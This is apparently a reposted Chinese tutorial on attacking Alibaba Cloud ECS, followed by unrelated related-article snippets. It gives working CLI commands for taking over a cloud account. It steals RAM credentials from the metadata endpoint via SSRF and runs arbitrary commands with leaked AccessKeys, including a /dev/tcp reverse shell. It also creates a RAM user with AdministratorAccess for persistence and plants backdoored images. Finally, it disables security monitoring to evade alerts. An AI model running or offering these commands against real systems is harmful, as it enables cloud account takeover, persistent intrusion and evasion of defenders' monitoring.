云安全【阿里云ECS攻防】

关于VPC的概念还请看:记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区

一、初始化访问

1、元数据

1.1、SSRF导致读取元数据

img

如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证

img

如果配置RAM角色

在获取ram临时凭证的时候,有一个必要的条件

  • 当前ECS必须被授予了RAM

img

img

首先我们来看一下没有授予权限的机器

img

访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次

img

  • 注意

    • 如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的
  • 如果权限较小的话,也无法进行更多的横向操作

2、AK密钥泄露

云场景下的凭证泄露可以分成以下几种:

  • 控制台账号密码泄露,例如登录控制台的账号密码

  • 临时凭证泄露

  • 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露

  • 实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露

对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:

  • Github 敏感信息搜索

  • 反编译目标 APK、小程序

  • 目标网站源代码泄露

2.1、执行任意命令

首先如果使用Aliyun的CLi作为演示

img

aliyun ecs DescribeInstances

我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中

img

img

我们可以看到这里有一个InstanceId

随后使用下面的命令,可以在ECS上执行命令

aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu"

img

2.2、反弹shell

在新服务器中开启NC

img

 aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"

随后使用aliyun cli输入命令

image-20220407173635773

2.3、创建RAM账号登录控制台

获取到泄露的AK之后,可以通过写入RAM账户登录

首先在aliyun cli中配置泄露的AKID等信息

2.3.1、GetAccountAlias接口

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

image-20220407173618740

2.3.2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407173649000

2.3.3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

2.3.4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

2.3.5、登录控制台

在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

我们只需要使用以下命令获取到ID放在@符号后边即可

aliyun ram GetAccountAlias

img

image-20220407173729483

3、恶意的镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407173748527

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

三、命令执行

1、接管控制台

在上文中我们提到关于RAM用户权限比较小的时候,我们没办法登录控制台,但是如果权限足够的情况,能否登录控制台

我们知道了,如果想让ECS中的元数据有RAM这个目录,我们必须给ECS授权RAM角色

image-20220407173803269

例如我们现在并没有给ECS授权RAM角色,那么我们请求元数据地址看看是否还是404

img

尝试给ECS授权RAM角色,在创建角色的时候,有三个选项,这里尝试前两个

  • 阿里云账号

  • 阿里云服务

首先我们来看一下阿里云账号

img

随后创建完成需要给角色授权

img

此时我们选择所有阿里云资源权限

image-20220407173840081

随后来到ECS添加授权会发现无法添加

img

既然这样,在选择角色的时候如果选择阿里云服务

img

随后选择一样的权限

image-20220407173904778

img

img

然后回到ECS中,请求元数据看是否存在RAM目录

img

在不知道ram角色名的情况下,如果请求/ram/security-credentials/目录,则会返回RAM角色名

img

此时我们再请求Service即可获得临时凭证

image-20220407173929932

采坑

这里在尝试的时候一直会有一个问题,我们配置好上图获取到的AKID和SECRET之后配置到aliyun cli会发现需要一个SecurityToken参数

img

这里的解决办法就是在配置的时候加上一个--mode参数即可

aliyun configure --mode StsToken

image-20220407173943885

随后我们创建新的RAM角色登录控制台

1.1、创建RAM角色账户登录控制台

1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

img

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

img

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

6、注意

如果我们获取到的临时凭据在权限很小的时候,是无法创建RAM用户登录控制台的

四、权限维持

1 、云函数

通过云函数的方式创建后门

img

2、后门镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407174110830

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

3、创建访问密钥

4.4.1、通过创建新的RAM角色登录控制台
1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407174133229

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

image-20220407174146287

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

image-20220407174201585

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

image-20220407174211567

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

五、防御绕过

1、关闭安全监控服务

正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行)

img

如果我们强制Kill就会收到告警

img

可以在云安全中心把所有的监控都关了,然后就可以kill掉这个进程了

img

并且我们不会收到告警

六、信息收集

1、元数据

在阿里云ECS常见下可以直接请求:http://100.100.100.200/latest/meta-data/ ,来获取元数据

img

tIps

有时候我们请求http://100.100.100.200/latest/meta-data/会发现返回404,这是因为没有配置Ram用户

详情请看【命令执行那一栏】

2、子网信息

在进行横向移动时,如果知道目标存在哪些网段可以起到事半功倍的效果,在云场景下,可以直接通过控制台看到目标的网段情况。

七、横向移动

1、访问凭证

当拿到目标的临时访问凭证或者访问密钥后,可以通过命令行或者也可以通过控制台的方式进行内网横向移动。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/92906.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

铁道货车通用技术条件

声明 本文是学习GB-T 5600-2018 铁道货车通用技术条件. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 90 mm90 mm。 B.2 制造要求 B.2.1 车体钢结构组成后&#xff1a; a) 敞车钢质侧、端板的平面度公差应小于或等于15 mm/m; 压型侧、端板的平面度…

python生成中金所期权行权价

参考沪深300股指期权的合约表&#xff0c;写一个工具函数&#xff1a; 使用方法 def get_format_option_gap(value: float, deviation: int 0): # 根据中证1000指数获取点位"""根据标准的行权价&#xff0c;生成不同档位的期权列表&#xff0c;适合中金所:…

[红明谷CTF 2021]write_shell %09绕过过滤空格 ``执行

目录 1.正常短标签 2.短标签配合内联执行 看看代码 <?php error_reporting(0); highlight_file(__FILE__); function check($input){if(preg_match("/| |_|php|;|~|\\^|\\|eval|{|}/i",$input)){ 过滤了 木马类型的东西// if(preg_match("/| |_||php/&quo…

代码随想录Day52 | 300. 最长递增子序列 | 674. 最长连续递增序列 | 718. 最长重复子数组

300. 最长递增子序列 class Solution { public:int lengthOfLIS(vector<int>& nums) {if (nums.size() < 1) return nums.size();vector<int> f(nums.size(), 1);int result 0;for (int i 1; i < nums.size(); i) {for (int j 0; j < i; j) {if (n…

最新AI智能创作系统源码V2.6.2/AI绘画系统/支持GPT联网提问/支持Prompt应用

一、AI创作系统 SparkAi创作系统是基于国外很火的ChatGPT进行开发的AI智能问答系统和AI绘画系统。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作ChatGPT&#xff1f;小编这里写一个详细图…

验证曲线(validation_curve)项目实战

验证曲线 validation_curve 一、简介 validation_curve验证曲线&#xff0c;可确定不同参数值下的训练和测试分数 根据指定参数的不同值计算估计器的得分 这与使用一个参数的网格搜索类似。不过&#xff0c;这也会计算训练得分&#xff0c;只是一个用于绘制结果的工具。 二、…

【AI视野·今日Robot 机器人论文速览 第四十五期】Mon, 2 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Mon, 2 Oct 2023 Totally 42 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers Learning Decentralized Flocking Controllers with Spatio-Temporal Graph Neural Network Authors Siji Chen, Yanshen Sun, …

WordPress主题开发( 十)之—— 条件标签函数(上)

这里写目录标题 什么是条件标签函数&#xff1f;条件标签函数的使用场景使用条件标签函数的注意事项常用的条件标签函数主页示例:is_front_page() 示例:管理后台is_admin() 示例:单个文章页面is_single() 示例:is_single(17) 示例:is_single(Hello World) 示例:is_single(hello…

C语言解析GPS源数据

文章目录 一、GPS数据格式介绍二、GPS字段含义三、C语言解析数据代码3.1 解析每个字段数据3.2 解析定位数据 一、GPS数据格式介绍 GPS&#xff08;全球定位系统&#xff09;数据格式常见的是NMEA 0183格式&#xff0c;NMEA 0183格式是一种用于导航设备间传输数据的标准格式&am…

一个用java的get请求

java发送一个get请求&#xff0c;请求参数classyanfa&#xff0c;使用Authorization认证&#xff0c;在Request Header里填充Authorization&#xff1a; Bearer {token}进行请求认证&#xff0c;token为&#xff1a;sadagdagdgdgfagfd ,另外在Header里补充App标识&#xff0c;X…

R语言中更改R包安装路径

看到这些包下载到我的C盘&#xff0c;我蛮不爽的&#xff1a; 所以决定毫不犹豫的改到D盘&#xff1a; 首先&#xff0c;我们需要在RStudio中新建一个初始启动文件&#xff1a; file.edit(~/.Rprofile) 然后去你喜欢的环境新建一个文件夹存放安装的包的位置&#xff0c;我喜欢…

uboot启动流程-涉及board_init_f 函数

一. uboot启动流程 _main 函数中会调用 board_init_f 函数&#xff0c;本文简单分析一下 board_init_f 函数。 二. board_init_f 函数 board_init_f 函数主要有两个工作&#xff1a; (1) 初始化一系列外设&#xff0c;比如串口、定时器&#xff0c;或者打印一些消息等。…

那些项目中遇到的注解

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言VO包与实体类中注解&#xff1a;DataI18nExcelExcel(name "a.abc", width 20)TableField(exist false) 忽略这个字段ApiModelProperty(value &qu…

动态规划算法(2)--最大子段和与最长公共子序列

目录 一、最大子段和 1、什么是最大子段和 2、暴力枚举 3、分治法 4、动态规划 二、最长公共子序列 1、什么是最长公共子序列 2、暴力枚举法 3、动态规划法 4、完整代码 一、最大子段和 1、什么是最大子段和 子段和就是数组中任意连续的一段序列的和&#xff0c;而…

[Linux]记录plasma-wayland下无法找到HDMI接口显示器的问题解决方案

内核&#xff1a;Linux 6.5.5-arch1-1 Plasma 版本&#xff1a;5.27.8 窗口系统&#xff1a;Wayland 1 问题 在前些时候置入了一块显示器&#xff0c;接口较多&#xff0c;有 HDMI 接口&#xff0c;type-C 接口。在 X11 中可以找到外接显示器&#xff0c;但是卡顿明显&#xf…

算法排序在程序中有什么作用

算法排序是将一组数据按照一定的规则进行排列的过程。常见的排序算法包括冒泡排序、选择排序、插入排序、快速排序、归并排序等。 冒泡排序&#xff08;Bubble Sort&#xff09;&#xff1a;从前往后逐个比较相邻元素&#xff0c;若逆序则交换&#xff0c;每一轮确定一个最大元…

阿里云服务器方升架构、自研硬件、AliFlash技术创新

阿里云服务器技术创新&#xff1a;服务器方升架构及自研硬件、自研存储硬件AliFlash和阿里云异构计算加速平台&#xff0c;阿里云百科分享阿里云服务器有哪些技术创新&#xff1a; 目录 服务器技术创新 服务器方升架构及自研硬件 自研存储硬件AliFlash 阿里云异构计算加速…

【Excel】快速提取某个符号前面的数据内容

【问题描述】 在使用excel整理数据过程中&#xff0c;经常与需要调整数据后&#xff0c;进行使用。 例如凭证导出后&#xff0c;科目列是包含科目编码和科目名称的。 但由于要将数据复制到其他的导入模板上使用&#xff0c;对应的模板只需要科目编码&#xff0c;不需要科目名称…

常说的I2C协议是干啥的(电子硬件)

I2C&#xff08;Inter-Integrated circuit&#xff09;协议是电子传输信号中常用的一种协议。 它是一种两线式串行双向总线&#xff0c;用于连接微控制器和外部设备&#xff0c;也因为它所需的引脚数只需要两条&#xff08;CLK和DATA&#xff09;&#xff0c;硬件实现简单&…

Acwing 906. 区间分组

Acwing 906. 区间分组 知识点题目描述思路讲解代码展示 知识点 贪心 题目描述 思路讲解 这段代码是用来维护一个最小堆&#xff0c;以确保右边界不相交的区间被正确地保留在堆中。让我详细解释这段代码&#xff1a; heap.empty()&#xff1a;这个条件检查最小堆 heap 是否为…